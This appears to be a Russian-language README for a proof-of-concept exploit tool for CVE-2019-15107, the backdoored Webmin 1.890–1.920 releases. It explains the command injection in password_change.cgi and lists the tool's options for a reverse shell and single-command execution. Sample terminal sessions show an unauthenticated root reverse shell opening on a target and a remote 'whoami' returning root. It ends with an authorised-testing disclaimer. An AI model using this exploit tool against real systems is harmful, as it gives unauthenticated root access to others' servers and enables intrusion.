
PoC-эксплойт для CVE-2019-15107 (Webmin <= 1.920), обеспечивающий неаутентифицированное RCE через внедрение команд.
Этот репозиторий содержит PoC-эксплойт для CVE-2019-15107, затрагивающий Webmin версий с 1.890 по 1.920.
Скрипт эксплуатирует бэкдор в версиях с 1.890 по 1.920, который позволяет неаутентифицированным пользователям внедрять команды в конечную точку password_change.cgi через параметр old (в v.1.890 — expired). Бэкдор был внедрён только в загрузки с SourceForge, однако именно они указаны как официальные загрузки на сайте проекта.
Неизвестный злоумышленник (или злоумышленники) дважды встраивал операторы Perl qx в исходный код сборочного сервера: один раз в апреле 2018 года, когда бэкдор появился в релизе 1.890, и в июле 2018 года, когда бэкдор был повторно внедрён в релизы с 1.900 по 1.920.
В конфигурации по умолчанию эксплуатируемой является только версия 1.890. Для более поздних затронутых версий необходимо включить функцию смены просроченного пароля.
Эксплойт был успешно протестирован в следующем окружении:
python3 cve-2019-15107.py -r <TARGET_IP> -l <LOCAL_IP> [options]
options:
-h, --help Show this help message and exit
-r, --rhost RHOST Target IP address
-rp, --rport RPORT Target port (default: 10000)
-l, --lhost LHOST Local IP for reverse shell
-lp, --lport LPORT Local port for reverse shell (default: 4343)
-s, --scheme {http,https} Protocol to use (default: https)
-x, --proxy [PROXY] Use proxy (default: http://127.0.0.1:8080)
-f, --force Force exploitation even if detection fails
-c, --cmd CMD Execute a single command instead of reverse shell
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[*] Starting listener on port 4343...
listening on [any] 4343 ...
[*] Sending payload...
connect to [192.168.158.129] from (UNKNOWN) [10.114.159.93] 59970
bash: cannot set terminal process group (1314): Inappropriate ioctl for device
bash: no job control in this shell
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/#
┌──(adam㉿kali)-[~]
└─$ python3 cve-2019-15107.py -r 10.114.159.93 -l 192.168.158.129 -c whoami
_____ _____ ___ __ _ ___ _ ___ _ __ ____
/ __\ \ / / __|_|_ ) \/ / _ \___/ | __/ |/ \__ |
| (__ \ V /| _|___/ / () | \_, /___| |__ \ | () |/ /
\___| \_/ |___| /___\__/|_|/_/ |_|___/_|\__//_/
CVE-2019-15107 | Webmin Unauthenticated RCE
by adampawelczyk
[*] Checking vulnerability...
[*] Detecting target version...
[+] Detected Webmin 1.890
[+] Target is vulnerable
[+] Command output:
========================================
root
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, является незаконным. Используйте ответственно.